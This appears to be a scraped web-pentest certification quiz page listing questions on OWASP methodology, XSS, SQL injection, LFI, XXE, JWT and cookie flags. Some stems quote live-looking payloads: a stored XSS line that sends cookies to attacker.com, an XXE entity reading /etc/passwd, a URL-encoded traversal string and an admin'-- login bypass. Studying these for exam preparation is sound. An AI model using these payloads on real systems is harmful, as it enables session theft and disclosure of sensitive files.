During a web application penetration test, which phase is typically performed FIRST after scoping is agreed upon?
Web Pentest Methodology
Question · Easy
A tester uses `robots.txt` to enumerate restricted paths on a target web server. Which phase of the OWASP Web Security Testing Guide (WSTG) does this best represent?
Information Gathering
Which tool is most commonly used for intercepting and modifying HTTP/HTTPS traffic during a web application pentest?
Web App Analysis
Tech Exam Prep Podcast
Listen on Spotify
Podcast
During web fingerprinting, a tester sends an `OPTIONS` request to the target. Which of the following responses would indicate a misconfiguration worth escalating?
Question · Medium
A tester discovers that a web application reflects user input directly in a script block without encoding: `<script>var user='PAYLOAD';</script>`. Which type of XSS vulnerability is this?
Security Testing
Which SQL injection payload is used to test for time-based blind SQLi on a MySQL backend?
Which Gobuster command correctly brute-forces directories on a target web application using a wordlist?
A web application stores session tokens in cookies without the `HttpOnly` flag set. What attack does this primarily enable?
Which attack technique allows an attacker to include a remote file hosted on an attacker-controlled server into a PHP application?
During a CSRF vulnerability assessment, which HTTP request characteristic is the MOST important to verify as absent?
A tester accesses `/profile?user_id=1001` and then changes the ID to `/profile?user_id=1002` and sees another user's data without authorization. This is an example of which vulnerability?
What does the `--dbs` flag accomplish when used with SQLMap?
A stored XSS payload `<script>document.location='http://attacker.com/steal?c='+document.cookie</script>` is injected into a comment field. What must be true for this attack to steal cookies from OTHER users?
Which Nikto flag is used to perform a web server scan against a specific host and port?
Vulnerability Assessment
When testing for Local File Inclusion (LFI) on a Linux server, which payload is typically used to read the system's password file?
A web application encodes the forward slash (`/`) in filenames but not the `%2F` URL-encoded representation. A tester uses `%2F..%2F..%2Fetc%2Fpasswd` to read a sensitive file. What technique is being exploited?
During web application fingerprinting, a tester examines HTTP response headers. Which header most directly reveals the web server software and version?
Which OWASP testing guide category (WSTG) covers testing for weak or predictable session tokens?
A tester intercepts a login request and observes that the password is sent as a base64-encoded string rather than in plaintext. What security concern does this raise?
When conducting a UNION-based SQL injection, what must be true about the injected UNION SELECT statement for the attack to succeed?
Which tool is used to perform automated subdomain enumeration using a wordlist during the information-gathering phase?
A web application login page displays different error messages for 'User does not exist' versus 'Incorrect password'. What vulnerability does this introduce?
Which HTTP response status code indicates that a web application has reflected user input back in its response, which may be exploitable for XSS?
A penetration test report must classify findings by severity. Which severity level would you assign to an unauthenticated SQL injection vulnerability that allows dumping the entire user database including plaintext passwords?
Reporting
Which of the following best describes a second-order (persistent) SQL injection vulnerability?
Question · Hard
Which Burp Suite module is most effective for automating a brute-force attack against a web login form?
What does the `SameSite=Strict` cookie attribute protect against?
A tester intercepts a file upload request and changes the `Content-Type` header from `application/octet-stream` to `image/jpeg` while keeping a PHP webshell as the file content. What bypass technique is this?
What is the purpose of the `wfuzz` tool in web application testing?
During authentication testing, a tester discovers that the application does not limit failed login attempts. Which attack does this enable?
Which of the following is the correct order of phases in a web application penetration test engagement?
An attacker exploits a DOM-based XSS vulnerability by manipulating `document.location.hash`. Which characteristic distinguishes DOM XSS from reflected XSS?
A tester attempts to access `/admin` on a web application and receives a 403 Forbidden response. Which technique might bypass this restriction?
What does the Content Security Policy (CSP) header primarily protect against?
During a web services test, a tester sends a SOAP request with XXE payload `<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>`. What attack is being attempted?
A web application uses JWT tokens for session management. A tester changes the `alg` field in the JWT header from `RS256` to `none`. What vulnerability is being exploited?
Which HTTP header prevents a web page from being embedded in an iframe, mitigating clickjacking attacks?
A tester submits the payload `admin'--` in the username field of a login form. The application logs the tester in as admin. What type of authentication bypass is this?
When documenting a Cross-Site Request Forgery (CSRF) finding, which proof-of-concept element should the report include?
What does the `Secure` attribute on a cookie ensure?
A tester finds that a web application copies an input value into a JavaScript variable: `var search = '<PAYLOAD>';`. Which XSS context is this, and which payload would escape the string?
During information gathering, a tester queries Certificate Transparency logs. What information can be obtained from this source?
Which Burp Suite feature allows a tester to send a request to a URL, observe the response, modify it, and send it again multiple times?
A web application constructs OS commands using user input: `ping -c 4 <USER_INPUT>`. Which payload would allow command injection to read `/etc/passwd`?
What is the primary indicator that a web application is vulnerable to blind boolean-based SQL injection?
A penetration tester discovers a web application that includes user-supplied data in a redirect URL: `/redirect?url=https://example.com`. What vulnerability should the tester test for first?
Which tool is specifically designed for crawling and spidering web applications to discover all accessible pages and parameters?
Loading more…